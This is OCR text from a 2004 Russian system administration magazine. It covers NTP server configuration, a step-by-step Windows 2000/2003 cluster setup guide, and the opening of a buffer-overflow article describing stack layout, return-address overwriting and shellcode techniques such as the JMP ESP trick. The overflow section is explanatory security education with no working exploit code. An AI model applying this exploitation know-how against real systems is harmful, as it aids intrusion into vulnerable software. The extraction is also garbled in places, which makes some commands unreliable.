Далее мы ограничим доступ к нашему серверу, так какмы не хотим, чтобы другие серверы могли сами менятьнаше время:

Здесь маска 255.255.255.255 используется для огра-ничения доступа к нашему серверу со стороны сервераntp.nasa.gov.

Теперь определим список узлов в нашей локальнойсети, которым мы хотим разрешить доступ к нашему NTP-серверу для получения времени:

Также нам требуется, чтобы Linux-машина имела пол-ный доступ к ресурсам своего сервера:

И теперь самое важное: мы должны убедиться в том,что запрет по умолчанию, имеющий более высокий при-оритет, закомментирован:

После сохранения файла ntp.conf настройку можносчитать оконченной, однако может так получиться, что пос-ле запуска демона время все еще не будет синхронизи-роваться. Дело в том, что протокол NTP изначально раз-рабатывался как протокол поддержания времени, а не егоустановки. Поэтому, если разница между показаниямичасов достаточно велика (более чем несколько минут), тосинхронизация производиться не будет. В этом случаеимеет смысл первоначально установить время вручнуюпри помощи команды ntpdate (также можно добавить ко-манду ntpdate в стартовые скрипты машины):

Запуск ntp-демона производится через инициализаци-онные скрипты. Если программа устанавливалась из rpm-пакета, то скорее всего все вопросы, связанные с ее ав-томатическим запуском, уже решены. Для того чтобы вэтом убедиться, можно воспользоваться командой:

Если вы не видите этой строки, значит, автоматический

запуск ntpd не настроен. Чтобы это исправить, наберите:

Для управления NTP (старт, запуск, перезапуск, статус)используются стандартный инициализационный скрипт:

Для просмотра статистики синхронизации сервераможно воспользоваться следующей командой:

Режимы работы NTP сервера/клиента

Клиент/серверЭтот режим на сегодняшний день наиболее часто исполь-зуется в сети Интернет. Схема работы – классическая. Кли-ент посылает запрос, на который в течение некоторого вре-мени сервер присылает ответ. Настройка клиента произ-водится с помощью директивы server в конфигурационномфайле, где указывается DNS имя сервера времени.

Симметричный активный/пассивный режимЭтот режим используется в том случае, если производит-ся синхронизация времени между большим количествомравноправных машин. Помимо того, что каждая машинасинхронизируется с внешним источником, она также осу-ществляет синхронизацию со своими соседями (peer),выступая для них в качестве клиента и сервера времени.Поэтому даже если машина «потеряет» внешний источ-ник, она все еще сможет получить точное время от своихсоседей. Соседи могут работать в двух режимах – актив-ном и пассивном. Работая в активном режиме, машинасама передает свое время всем машинам-соседям, пере-численным в секции peers конфигурационного файлаntp.conf. Если же в этой секции соседи не указаны, то счи-тается, что машина работает в пассивном режиме. Длятого чтобы злоумышленник не смог скомпрометироватьдругие машины, представившись в качестве активногоисточника, необходимо использовать аутентификацию.

Режим BroadcastЭтот режим рекомендуется использовать в тех случаях,когда малое количество серверов обслуживает большоеколичество клиентов. Работая в этом режиме, сервер пе-риодически рассылает пакеты, используя широковеща-тельный адрес подсети. Клиент, настроенный на синхро-низацию таким способом, получает широковещательныйпакет сервера и производит синхронизацию с сервером.Особенностью этого режима является то, что время дос-

server ntp.nasa.gov # A stratum 1 server at nasa.orgserver ntp1.demos.net # A stratum 2 server at demos.net

restrict ntp.research.gov mask 255.255.255.255 ↵↵↵↵↵nomodify notrap noquery

restrict 192.168.1.0 mask 255.255.255.0 notrust nomodify notrap

restrict 127.0.0.1

#restrict default ignore

[root@nix]# ntpdate navobs1.wustl.e

[root@nix]# ntpdate navobs1.wustl.e

[root@nix]# ntpdate navobs1.wustl.e

[root@nix tmp]# chkconfig �list ntpd

[root@nix tmp]# chkconfig �level 035 ntpd on

[root@nix]# /etc/init.d/ntpd start

[root@nix]# ntpq -p

Page 23: 017 Системный Администратор 04 2004

21№4(17), апрель 2004

администрирование

тавляется в рамках одной подсети (ограничение broadcast-пакетов). Кроме того, для защиты от злоумышленниковнеобходимо использовать аутентификацию.

Режим MulticastДанный режим во многом похож на broadcast. Отличие зак-лючается в том, что для доставки пакетов используютсяmulticast-адреса сетей класса D адресного пространстваIP-адресов. Для клиентов и серверов задается адресmulticast-группы, которую они используют для синхрони-зации времени. Это делает возможным синхронизациюгрупп машин, расположенных в различных подсетях, приусловии, что соединяющие их маршрутизаторы поддер-живают протокол IGMP и настроены на передачу группо-вого трафика.

Часто возникающие вопросыПочему после команды net time /setsntp:server время несинхронизируется?! Убедитесь, что для службы w32time задан тип запуска

«Автоматически».! Убедитесь, что порт UDP 123 используемого NTP-сер-

вера доступен.! Убедитесь, что время между клиентом и сервером не

отличается слишком сильно.

Может ли SNTP-клиент синхронизироваться с NTP-серве-ром?! Да, может, так как протокол SNTP является подмно-

жеством NTP и полностью с ним совместим.

Можно ли использовать NTP-сервер от третьих произво-дителей в ОС Windows 2000/XP/2003?! Да, можно воспользоваться любым сервером, платным

или бесплатным. Предварительно следует отключитьсоответствующие компоненты (клиентские или сервер-ные) службы Windows Time.

Почему NTP-клиент не работает на компьютере с установ-ленным MS SQL Server?! Скорее всего проблема заключается в том, что SQL

Server каким-либо образом занимает порт UDP 123. Вкачестве решения можно предложить запуск клиентаNTP до MS SQL Server.

Демона ntpd после запуска работает 10-20 минут, послечего останавливается. В чем может быть проблема?

! Убедитесь, что время клиента и сервера отличаетсяне слишком сильно (не более 5 минут). В противномслучае выполните принудительную синхронизацию припомощи ntpdate.

Демон ntpd настроен, но при этом время, кажется, не синх-ронизируется.! Возможно, проблема в том, что порт UDP 123 зак-

рыт firewall. В этом случае информация, выводимаяntpq –p, будет примерно следующей:

Можно ли синхронизировать время в OS Windows NT4,95, 98, Me?! Можно, при помощи программ третьих фирм, например,

NetTime, Automacahron, World Time5, ntpd Windows NT port.

При попытке входа в домен Windows появляется сообще-ние, что время между контроллером домена и рабочейстанцией отличается слишком сильно, при том, что синх-ронизация точно настроена.! Скорее всего проблема в том, что время сбилось очень

сильно (сброс CMOS, хакерская диверсия) и службене удается пройти аутентификацию по протоколуKerberos. Для решения этой проблемы нужно либовручную подвести время, либо не использовать этотвид аутентификацию при обновлении времени.

Режим ManycastЭтот режим является нововведением четвертой версиипротокола NTP. Он подразумевает поиск клиентом средисвоих сетевых соседей manycast-серверов, получение откаждого из них образцов времени (с использованием крип-тографии) и выбор на основании этих данных трех «луч-ших» manycast-серверов, с которыми клиент будет произ-водить синхронизацию. В случае выхода из строя одногоиз серверов клиент автоматически обновляет свой список.

Для передачи образцов времени клиенты и серверы,работающие в manycast-режиме, используют адресаmulticast-групп (сети класса D). Клиенты и серверы, ис-пользующие один и тот же адрес, формируют одну ассо-циацию. Количество ассоциаций определяется количе-ством используемых multicast-адресов.

Серверы времениПервичные серверы:! ntp0.cs.mu.OZ.AU! clock.uregina.ca! ntp.metas.ch! rustime01.rus.uni-stuttgart.de! chronos.cru.fr! ntp2.usno.navy.mil

Вторичные серверы:! tock.nap.com.ar

! ntp.saard.net! ntp1.belbone.be! ntp.cais.rnp.br! ntp.hiway.com.br! time2.one4vision.de! ntp.psn.ru! sign.chg.ru! ntp.rinet.ru! ntp.demos.ru

Новейший список серверов можно узнать по адресу:http://www.eecis.udel.edu/~mills/ntp.

Page 24: 017 Системный Администратор 04 2004

22

администрирование

СОЗДАНИЕ КЛАСТЕРАНА БАЗЕ WINDOWS 2000/2003.ШАГ ЗА ШАГОМ

ГЕННАДИЙ ДМИТРИЕВ

Page 25: 017 Системный Администратор 04 2004

23№4(17), апрель 2004

администрирование

Кластер – это группа из двух или более серверов, дей-ствующих совместно для обеспечения безотказной рабо-ты набора приложений или служб и воспринимаемых кли-ентом как единый элемент. Узлы кластера объединяютсямежду собой с помощью аппаратных сетевых средств,совместно используемых разделяемых ресурсов и сервер-ного программного обеспечения.

Microsoft Windows 2000/2003 поддерживает две техно-логии кластеризации: кластеры с балансировкой нагруз-ки (Network Load Balancing) и кластеры серверов.

В первом случае (кластеры с балансировкой нагруз-ки) служба Network Load Balancing придает службам и при-ложениям свойства высокого уровня надежности и масш-табируемости за счет объединения до 32 серверов в еди-ный кластер. Запросы от клиентов в данном случае рас-пределяются среди узлов кластера прозрачным образом.При отказе узла кластер автоматически изменяет своюконфигурацию и переключает клиента на любой из дос-тупных узлов. Этот режим конфигурации кластера такженазывается active-active режимом, когда одно приложениеработает на нескольких узлах.

Кластер серверов распределяет свою нагрузку средисерверов кластера, причем каждый сервер несет свою соб-ственную нагрузку. Если происходит отказ узла в класте-ре, то приложения и службы, настроенные на работу в кла-стере, прозрачным образом перезапускаются на любом изсвободных узлов. Кластеры серверов используют разде-ляемые диски для обмена данными внутри кластера и дляобеспечения прозрачного доступа к приложениям и служ-бам кластера. Для них требуется специальное оборудова-ние, но данная технология обеспечивает очень высокийуровень надежности, поскольку сам кластер не имеет ка-кой-либо единственной точки отказа. Этот режим конфи-гурации кластера также называется active-passive режимом.Приложение в кластере работает на одном узле с общимиданными, расположенными на внешнем хранилище.

Кластерный подход к организации внутренней сетидает следующие преимущества:! Высокий уровень готовности.

То есть, если происходит сбой службы или приложе-ния на каком-то узле кластера, настроенного на совме-стную работу в кластере, кластерное программноеобеспечение позволяет перезапустить это приложениена другом узле. Пользователи при этом ощутят крат-ковременную задержку при проведении какой-то опе-рации либо вообще не заметят серверного сбоя.

! Масштабируемость.Для приложений, работающих в кластере, добавлениесерверов к кластеру означает увеличение возможнос-тей: отказоустойчивости, распределение нагрузки и т. д.

! Управляемость.Администраторы, используя единый интерфейс, могутуправлять приложениями и службами, устанавливатьреакцию на сбой в узле кластера, распределять нагруз-ку среди узлов кластера и снимать нагрузку с узловдля проведения профилактических работ.

В этой статье я попытаюсь собрать свой опыт по со-зданию кластерных систем на базе Windows и дать не-

большое пошаговое руководство по созданию двухузлово-го кластера серверов с разделяемым хранилищем данных.

Системные рекомендацииТребования к программному обеспечению:! Microsoft Windows 2000 Advanced (Datacenter) Server

или Microsoft Windows 2003 Server Enterprise Edition, ус-тановленные на всех серверах кластера.

! Установленная служба DNS. Немного поясню. Если выстроите кластер на основе двух контроллеров домена,то намного удобнее использовать службу DNS, кото-рую вы в любом случае устанавливаете при созданииActive Directory. Если вы создаете кластер на основедвух серверов, членов Windows NT домена, то вам при-дется использовать либо службу WINS, либо заноситьсоответствие имен и адресов машин в файл hosts.

! Terminal Services для удаленного управления сервера-ми. Не обязательно, но при наличии Terminal Servicesудобно управлять серверами со своего рабочего места.

Требования к аппаратному обеспечению:! Аппаратное обеспечение для узла кластера лучше под-

бирать, основываясь на Cluster Service HardwareCompatible List (HCL). По рекомендациям Microsoft ап-паратное обеспечение должно быть протестировано насовместимость с Cluster Services.

! Соответственно вам понадобятся два сервера, имею-щих по два сетевых адаптера; SCSI-адаптер, имеющийвнешний интерфейс для подключения внешнего мас-сива данных.

! Внешний массив, имеющий два внешних интерфейса.Каждый из узлов кластера подключается к одному изинтерфейсов.

Замечание: для создания двухузлового кластера со-всем не обязательно иметь два абсолютно одинаковыхсервера. После сбоя на первом сервере у вас будет не-много времени, чтобы проанализировать и восстановитьработу основного узла. Второй же узел будет работать набезотказность системы в целом. Однако это не означает,что второй сервер будет простаивать. Оба узла кластерамогут спокойно заниматься своими делами, решать раз-ные задачи. А вот некий критический ресурс мы и можемнастроить на работу в кластере, увеличив его (этого ре-сурса) отказоустойчивость.

Требования к сетевым настройкам:! Уникальное NetBIOS имя для кластера.! Пять уникальных статических IP-адресов. Два для се-

тевых адаптеров на кластерную сеть, два для сетевыхадаптеров на общую сеть и один для кластера.

! Доменная учетная запись для кластерного сервиса(Cluster service).

! Все узлы кластера должны быть либо member server вдомене, либо контроллерами домена.

! Каждый сервер должен иметь два сетевых адаптера.Один для подключения в общую сеть (Public Network),второй для обмена данными между узлами кластера(Private Network).

Page 26: 017 Системный Администратор 04 2004

24

администрирование

Замечание: по рекомендациям Microsoft ваш сервердолжен иметь два сетевых адаптера, один для общей сети,второй для обмена данными внутри кластера. Можно листроить кластер на одном интерфейсе – наверное, да, ноя не пробовал.

Установка кластераПри проектировании кластера вы должны понимать, что,используя одну физическую сеть как для кластерного об-мена, так и для локальной сети, вы увеличиваете процентотказа всей системы. Поэтому крайне желательно для кла-стерного обмена данными использовать одну подсеть, вы-деленную в отдельный физический элемент сети. А для ло-кальной сети стоит использовать другую подсеть. Тем са-мым вы увеличиваете надежность всей системы в целом.

В случае построения двухузлового кластера один ком-мутатор используется общей сетью. Два сервера класте-ра можно связать между собой кросс-кабелем напрямую,как показано на рисунке.

Установка двухузлового кластера может быть разде-лена на 5 шагов.

! Установка и настройка узлов в кластере.! Установка и настройка разделяемого ресурса.! Проверка дисковой конфигурации.! Конфигурирование первого узла кластера.! Конфигурирование второго узла в кластере.

Это пошаговое руководство позволит вам избежатьошибок во время установки и сэкономить массу времени.Итак, начнем.

Установка и настройка узловМы немного упростим задачу. Поскольку все узлы клас-тера должны быть либо участниками домена, либо кон-троллерами домена, то корневым держателем каталогаAD (Active Directory) сделаем 1-й узел кластера, на нем жебудет работать DNS-служба. 2-й узел кластера будет пол-ноправным контроллером домена.

Установку операционной системы я готов пропустить,полагая, что в этом у вас не должно быть каких-то про-блем. А вот конфигурацию сетевых устройств хочетсяпояснить.

Ñõåìà äâóõóçëîâîãî êëàñòåðà íà áàçå Windows 2000/2003 ñ âíåøíèì ìàññèâîì äàííûõ

Cluster network192.168.30.0/30

Private Clusterconnection

IP: 192.168.30.1MASK: 255.255.255.252DNS: 192.168.100.1

Private Clusterconnection

IP: 192.168.30.2MASK: 255.255.255.252DNS: 192.168.100.1

Cluster node1

Cluster node2

External RAID

SCSI ConnectionSCSI Connection

Public network192.168.100.0/24

Public Clusterconnection

IP: 192.168.100.1MASK: 255.255.255.0DNS: 192.168.100.1

Public Clusterconnection

IP: 192.168.100.2MASK: 255.255.255.0DNS: 192.168.100.1

Client node1

Client node N

Page 27: 017 Системный Администратор 04 2004

25№4(17), апрель 2004

администрирование

Сетевые настройкиПеред началом установки кластера и Active Directory не-обходимо выполнить сетевые настройки. Все сетевые на-стройки хочется разделить на 4 этапа. Для распознава-ния имен в сети желательно иметь DNS-сервер с уже су-ществующими записями о серверах кластера.

Каждый сервер имеет по две сетевые карты. Одна се-тевая карта будет служить для обмена данными между уз-лами кластера, вторая будет работать на клиентов в на-шей сети. Соответственно первый назовем Private ClusterConnection, второй назовем Public Cluster Connection.

Настройки сетевых адаптеров для одного и для друго-го сервера идентичны. Соответственно я покажу, как на-строить сетевой адаптер и дам табличку с сетевыми на-стройками всех 4 сетевых адаптеров на обоих узлах кла-стера. Для настройки сетевого адаптера необходимо вы-полнить следующие шаги:! My Network Places →→→→→ Properties.! Private Cluster Connection →→→→→ Properties →→→→→ Configure →→→→→

Advanced. Этот пункт требует пояснений. Дело в том,что по настоятельным рекомендациям Microsoft на всехсетевых адаптерах узлов кластера должна быть уста-новлена оптимальная скорость работы адаптера, какпоказано на следующем рисунке.

! Internet Protocol (TCP/IP) →→→→→ Properties →→→→→ Use the followingIP: 192.168.30.1. (Для второго узла используйте адрес192.168.30.2). Введите маску подсети 255.255.255.252.В качестве адреса DNS-сервера для обоих узлов ис-пользуйте адрес 192.168.100.1.

! Дополнительно на вкладке Advanced →→→→→ WINS выберитепункт Disabled NetBIOS over TCP/IP. Для настроек сете-вых адаптеров общей (Public) сети этот пункт опустите.

! Проделайте то же самое с сетевой картой для локаль-ной сети Public Cluster Connection. Используйте адре-са, приведенные в табличке. Единственная разница вконфигурации двух сетевых плат состоит в том, что дляPublic Cluster Connection не требуется выключения ре-жима WINS – NetBIOS over TCP/IP.

Для конфигурирования всех сетевых адаптеров на уз-лах кластера используйте следующую табличку:

Установка Active DirectoryПоскольку моя статья не преследует цель рассказать обустановке Active Directory, то этот пункт я опущу. Всевоз-можных рекомендаций, книг об этом написано достаточномного. Выберете доменное имя, вроде mycompany.ru, уста-новите Active Directory на первом узле, добавьте второй узелв домен в качестве контроллера домена. Когда все сде-лаете, проверьте конфигурации серверов, Active Directory.

Установка Cluster User AccountПо рекомендациям Microsoft для Cluster Service следуетсоздать отдельную учетную запись, от имени которой онбудет работать. Эта учетная запись должна быть созданадо установки Cluster Service:

Page 28: 017 Системный Администратор 04 2004

26

администрирование

! Start →→→→→ Programs →→→→→ Administrative Tools →→→→→ Active DirectoryUsers and Computers.

! Добавьте нового пользователя, например, ClusterService.! Установите флажки на: User Cannot Change Password

и Password Never Expires.! Также добавьте этого пользователя в группу админис-

траторов и дайте ему права «Log on as a service» (пра-ва назначаются в «Local Security Policy» и «DomainController Security Policy»).

Настройка внешнего массива данныхДля настройки внешнего массива данных в кластере не-обходимо помнить, что перед установкой Cluster Serviceна узлах вы должны сначала сконфигурировать диски навнешнем массиве, только потом устанавливать службукластера сначала на первом узле, только потом на вто-ром. В случае нарушения порядка установки у вас про-изойдет сбой, и вы не достигнете цели. Можно ли будетисправить – наверное, да. Когда появится ошибка, у васбудет время, чтобы поправить настройки. Но Microsoftстоль загадочная штука, что совсем не знаешь, на какиеграбли наступишь. Проще иметь перед глазами пошаго-вую инструкцию и не забывать нажимать на кнопки. Пошагам конфигурирование внешнего массива выглядит так:! Оба сервера должны быть выключены, внешний мас-

сив включен, подсоединен к обоим серверам.! Включаем первый сервер. Получаем доступ к диско-

вому массиву.! Проверяем, чтобы внешний дисковый массив был со-

здан как Basic. Если это не так, то переведем диск спомощью опции Revert to Basic Disk.

! Создаем на внешнем диске через Computer Manage-ment →→→→→ Disk Management небольшой раздел. По реко-мендациям Microsoft он должен быть не менее 50 Мб. Ярекомендую создать раздел в 500 Мб или чуть больше.Для размещения кластерных данных этого вполне дос-таточно. Раздел должен быть отформатирован в NTFS.

! На обоих узлах кластера этот раздел будет назван од-ной буквой, например, Q. Соответственно при созда-нии раздела на первом сервере выберем пункт Assignthe following drive letter – Q.

! Оставшуюся часть диска вы можете разметить по сво-ему желанию. Конечно, крайне желательно использо-вать файловую систему NTFS. Например, при настрой-ке служб DNS, WINS основные базы служб будут пере-несены на общий диск (не системный том Q, а второй,созданный вами). И по соображению безопасности вамбудет удобнее использовать именно NTFS-тома.

! Закрываем Disk Management и проверяем доступ квновь созданному разделу. Например, можно создатьна нем текстовый файл test.txt, записать и удалить.Если все прошло нормально, то с конфигурацией внеш-него массива на первом узле мы закончили.

! Теперь выключаем первый сервер. Внешний массивдолжен быть включен. Включаем второй сервер и про-веряем доступ к созданному разделу. Также проверим,чтобы буква, назначенная первому разделу, была иден-тична выбранной нами, то есть Q.

На этом конфигурация внешнего массива завершена.

Установка Cluster Service Software

Конфигурация первого узла кластераПеред началом установки Cluster Service Software все узлыкластера должны быть выключены, все внешние масси-вы должны быть включены. Перейдем к конфигурациипервого узла. Внешний массив включен, первый сервервключен. Весь процесс установки происходит с использо-ванием Cluster Service Configuration Wizard:! Start →→→→→ Setting →→→→→ Control Panel →→→→→ Add/Remove Programs.! Выбираем Add/Remove Windows Components.! Выберем Cluster Service и нажмем Next. Во время ус-

тановки система попросит указать расположение фай-лов с дистрибутива, соответственно либо воспользу-емся CD-ROM-диском, либо укажем расположениефайлов на локальном диске.

! На экране появится диалоговое окно с текстом пример-но следующего содержания: вы должны понимать, чтоиспользуете железо, рекомендованное и тестированноеMicrosoft в кластерных системах. Соответственно всекомпоненты системы должны быть перечислены в HCL(Hardware Compatibility List). Нажимаем I Understand иследуем дальше.

! В следующем диалоговом окне выбираем The first nodein the cluster, как показано на следующем рисунке.

! В следующем окне введите имя кластера, например,MyCluster, и нажмите далее.

! Введите имя пользователя и пароль, от имени которо-го будет работать Cluster Service. Если помните, не-сколько шагов назад мы создавали такого пользова-теля и назвали его ClusterService. Введите domain name(mycompany.ru) и нажмите «NEXT».

Page 29: 017 Системный Администратор 04 2004

27№4(17), апрель 2004

администрирование

! На следующем этапе вас попросят сконфигурироватькластерные диски. Соответственно диск Q, который мысоздавали, будет использоваться для обмена данны-ми между узлами кластера. Как показано на рисунке,выберите диск Q и нажмите «NEXT».

! Следующий шаг – это конфигурирование сетевыхадаптеров для использования в кластере. Для внутрен-него сетевого адаптера, используемого для кластер-ного обмена данными между узлами внутри кластера,выбираем пункты, как показано на следующем рисун-ке (Enable this network for cluster use и Internal clustercommunications only):

! Для внешнего сетевого адаптера (локальная сеть) ус-танавливаем следующие параметры: Enable this networkfor cluster use и All communications (mixed network), какпоказано на рисунке:

! В этом примере мы сконфигурировали два сетевыхадаптера на одном узле кластера. Один из них PublicCluster Connection используется для обмена данными влокальной сети. Второй – Private Cluster Connection ис-пользуется для обмена данными внутри кластера. Пос-ле конфигурации сетевых адаптеров нажмем далее иперейдем к конфигурации IP-адреса кластера. Введемуникальный IP-адрес (192.168.100.5) и маску подсети(255.255.255.0), как показано на следующем рисунке.

Page 30: 017 Системный Администратор 04 2004

28

администрирование

! После завершения установки Cluster Service Softwareна первом узле, система автоматически присвоит выб-ранный IP-адрес нашему кластеру, сконфигурирует се-тевые адаптеры и сетевые диски. После завершенияустановки можно использовать Cluster Administrator дляуправления ресурсами кластера.

Конфигурация второго узла кластераДля установки и конфигурирования второго узла класте-ра необходимо, чтобы первый узел был включен, все се-тевые диски были включены. Процедура настройки вто-рого узла очень напоминает ту, что я описал выше. Одна-ко есть небольшие изменения. Для этого используйте сле-дующую инструкцию:! В диалоговом окне Create or Join a Cluster выберите

The second or next node in the cluster и нажмите далее.! Введите имя кластера, которое мы задали ранее (в при-

мере это MyCluster), и нажмите далее.! После подключения второго узла к кластеру Cluster

Service Configuration Wizard автоматически заберетвсе установки с основного узла. Для запуска службыCluster Service используйте имя, которые мы созда-вали ранее.

! Введите пароль вашей учетной записи и нажмите да-лее.

! В следующем диалоговом окне нажмите Finish для за-вершения установки.

! Cluster service будет запушен на втором узле.! Закройте окно Add/Remove Programs.

Для установки дополнительных узлов кластера исполь-зуйте эту же инструкцию.

Постскриптум, благодарностии прочееЧтобы вам не запутаться со всеми этапами установки кла-стера, приведу небольшую табличку, в которой отраженывсе основные этапы.

Время реакции кластера на непредвиденные ситуациизависит от множества параметров. Это тип ресурса, свой-ства ресурса, свойства группы ресурсов и времени, необ-ходимого ресурсу на загрузку. Например, загрузка базыданных сервера DHCP происходит достаточно быстро. Од-нако перевод Exchange-сервера может занять до несколь-ких секунд. Это время, необходимое Exchange-серверупроизвести быструю проверку целостности базы и загру-зить все необходимые компоненты. В частности, мы экс-

периментировали с серверами WINS и DHCP, длитель-ность реакции на отказ сервиса не превышала 1.5 секунд.А время реакции Exchange-сервера составляла около 10секунд, это выражалось в небольшом тайм-ауте в работеклиента.

По завершении всех этих операций вы получите пол-ностью работающий двухузловой кластер. В качестве ре-сурсов кластера можно использовать внутренние службыWINS, DNS, DHCP, можно настроить IIS-сервер на работувнутри кластера. Можно использовать внешние приложе-ния, главное, чтобы они поддерживали кластерные тех-нологии Microsoft. Можно бесконечно долго спорить о том,нужна ли данная технология. На мой взгляд, каждое ре-шение должно быть обосновано и грамотно реализовано.Я лишь попытался поделиться своим опытом созданиятакой системы.

Хочется выразить глубокую благодарность за неоце-нимую интеллектуальную помощь Андрееву Павлу, сис-темному администратору Novavox.

Page 31: 017 Системный Администратор 04 2004
Page 32: 017 Системный Администратор 04 2004

30

безопасность

ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИКАК ОБОБЩЕННЫЙ ОПЫТ РЕАЛЬНЫХ АТАКЧАСТЬ 2

ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИКАК ОБОБЩЕННЫЙ ОПЫТ РЕАЛЬНЫХ АТАКЧАСТЬ 2

КРИС КАСПЕРСКИ

Рассматривая различные механизмы переполнения и обсуждая их возможные последствия,ранее мы не касались таких «организационных» вопросов, как, например, порядок размещенияпереполняющихся буферов, затираемых переменных и служебных структур данных в оперативнойпамяти. Теперь пришло время восполнить этот пробел.

Page 33: 017 Системный Администратор 04 2004

31№4(17), апрель 2004

безопасность

В стеке…Переполнения автоматических буферов наиболее частыи наиболее коварны. Часты – потому что размер такихбуферов жестко (hardcoded) определяется еще на этапекомпиляции, а процедура проверки корректности обраба-тываемых данных зачастую отсутствует или реализованас грубыми ошибками. Коварны – потому что в непосред-ственной близости от автоматических буферов присут-ствует адрес возврата из функции, модификация которо-го позволяет злоумышленнику осуществить передачу уп-равления на произвольный код.

Еще в стеке содержится указатель на фрейм (он жекадр) материнской функции, сохраняемый компиляторомперед открытием фрейма дочерней функции. Вообще-тооптимизирующие компиляторы, поддерживающие техно-логию «плавающих» фреймов, обходятся и без этого, ис-пользуя регистр-указатель вершины кадра как обычныйрегистр общего назначения, однако даже поверхностныйанализ обнаруживает большое количество уязвимых при-ложений с кадром внутри, так что этот прием атаки всееще остается актуальным. Модификация кадра стека сры-вает адресацию локальных переменных и аргументовматеринской функции и дает возможность управлять имипо своему усмотрению. Установив кадр материнской фун-кции на «свой» буфер, злоумышленник может положить вматеринские переменные (аргументы) любые значения (втом числе и заведомо некорректные, поскольку проверкадопустимости аргументов обычно выполняется до вызо-ва дочерних функций, а корректность автоматических пе-ременных после их инициализации проверяют только па-раноики). Внимание! Поскольку после возврата из дочер-ней функции все принадлежащие ей локальные перемен-ные автоматически освобождаются, использовать дочер-ний буфер для хранения материнских переменных нельзя(точнее, не рекомендуется, но если действовать осторож-но, то можно). Обратитесь к куче, статической памяти илиавтоматической памяти параллельного потока, воздей-ствуя на нее косвенным образом.

Выше кадра стека располагаются сохраненные значе-ния регистров, восстанавливаемые при выходе из функ-ции. Если материнская функция хранит в одном или не-скольких таких регистрах критические переменные (напри-мер, указатели, в которые что-то записывается), мы можемсвободно воздействовать на них по своему усмотрению.

Дальше начинается область, «оккупированная» ло-кальными переменными (и переполняющимся буфером втом числе). В зависимости от прихоти компилятора пос-ледний может быть расположен как наверху кадра стека,так и в гуще локальных переменных – это уже как пове-зет (или не повезет – с точки зрения жертвы). Перемен-ные, находящиеся «ниже» переполняющегося буфера,могут быть затерты при последовательном переполне-нии – самом распространенном типе переполнения. Пе-ременные, находящиеся «выше» переполняющегося бу-фера, затираются лишь индексным переполнением, кото-рое чрезвычайно мало распространено.

Наконец, выше кадра стека находятся только небо извезды, пардон – свободное стековое пространство. За-тирать тут особенно нечего, и эта область памяти исполь-

зуется в основном для служебных нужд shell-кода. Приэтом следует учитывать, что:а) объем стека не безграничен и упирается в определен-

ный лимит, так что выделять гигабайты памяти все-таки не стоит;

б) если один из спящих объектов процесса-жертвы нео-жиданно проснется, содержимое свободной стековой па-мяти окажется искаженным, и чтобы этого не случилось,shell-код должен подтянуть регистр ESP к верхнему уров-ню, резервируя необходимое количество байт памяти;

в) поскольку стековая память, принадлежащая потоку,выделяется динамически по мере его распухания, лю-бая попытка выхода за пределы сторожевой страницы(page guard) завершается исключением, поэтому либоне запрашивайте более 4 Кб, либо прочитайте хотя быпо одной ячейке из каждой резервируемой страницы,двигаясь снизу вверх. Подробнее об этом можно про-читать у Рихтера.

В зависимости от ограничений, наложенных на пре-дельно допустимую длину переполняющегося буфера,могут затираться те или иные локальные переменные илислужебные структуры данных. Очень может статься, чтодо адреса возврата просто не удастся «дотянуться», адаже если и удастся – не факт, что функция не грохнетсязадолго до своего завершения. Допустим, за концом стро-кового переполняющегося буфера располагается указа-тель, из которого после переполнения что-то читается (за-писывается). Поскольку переполнение буфера неизбеж-но затирает указатель, любая попытка чтения оттуда вы-зывает немедленное исключение и – как следствие – ава-рийное завершение программы. Причем затереть адресвозврата, подсунув указателю корректный адрес, скореевсего не удастся, т.к. в операционных системах семействаWindows все гарантированно доступные адреса лежатзначительно ниже 01010101h – наименьшего адреса, ко-торый только можно внедрить в середину строкового бу-фера (подробнее см. «Запрещенные символы»). Так чтобуфера, расположенные внизу кадра стека, для перепол-нения все же предпочтительнее.

За концом адреса возврата начинается область памя-ти, принадлежащая материнским функциям и содержащаяаргументы дочерней функции, автоматические переменныематеринской функции, сохраненные регистры/кадр стекапроматеринской функции/адрес возврата в праматеринс-кую функции и т. д. Теоретически переполняющийся буферможет все это затереть (ну бывают же такие буйные буфе-ра), практически же – это либо не нужно, либо неосуще-ствимо. Если мы можем навязать программе корректныйадрес возврата (т.е. адрес возврата, указывающий на shell-код или любую точку «родного» кода программы), то в ма-теринскую функцию она уже не вернется, и все махинациис материнскими переменными останутся незамеченными.Если же навязать корректный адрес возврата по тем илииным причинам невозможно, то материнская функция темболее не сможет получить управления.

Намного большую информацию несет чтение материн-ской области памяти (см. «Указатели и индексы» в пре-дыдущей статье данного цикла) – здесь действительно

Page 34: 017 Системный Администратор 04 2004

32

безопасность

можно встретить много чего интересного. Конфиденци-альные данные (типа паролей и номеров кредитных карт),дескрипторы секретных файлов, которые невозможно от-крыть обычным образом, сокеты установленных TCP-со-единений (почему бы их не использовать для обхода бран-дмауэров?) и т. д.

Модификация аргументов дочерней функции менееперспективна, хотя временами и бывает полезной. Средиаргументов Си/Си++ программ традиционно много указа-телей. Обычно это указатели на данные, но встречаютсяи указатели на код. Последние наиболее перспективны,поскольку позволяют захватывать управление програм-мой до ее обрушения. Указатели на данные, конечно, тожехороши (особенно те из них, что позволяют записыватьпо навязанным адресам навязанные данные, т.е. работа-ют как Бейсик-функция POKE), однако, чтобы дотянутьсядо своих аргументов при последовательном переполне-нии уязвимого буфера, необходимо пересечь ячейки па-мяти, занятые адресом возврата…

В затирании адреса возврата есть одна интереснаятонкость: адрес возврата – это абсолютный адрес, и еслимы хотим передать управление непосредственно на сампереполняющийся буфер, нам либо приходится надеять-ся на то, что в уязвимой программе переполняющийсябуфер окажется по такому-то адресу (а это не факт), либоискать механизм передачи управления на вершину стека.

Червь Love San решает проблему путем подмены ад-реса возврата на адрес машинной инструкции JMP ESP,расположенной во владениях операционной системы.Недостатки такой методики очевидны: во-первых, она несрабатывает в тех случаях, когда переполняющийся бу-фер расположен ниже вершины стека, а, во-вторых, мес-тоположение инструкции JMP ESP тесно связано с верси-ей операционной системы, и получается, как в той пого-ворке, «за что боролись, на то и напоролись». К сожале-нию, более прогрессивных методик передачи управленияпока не придумано…

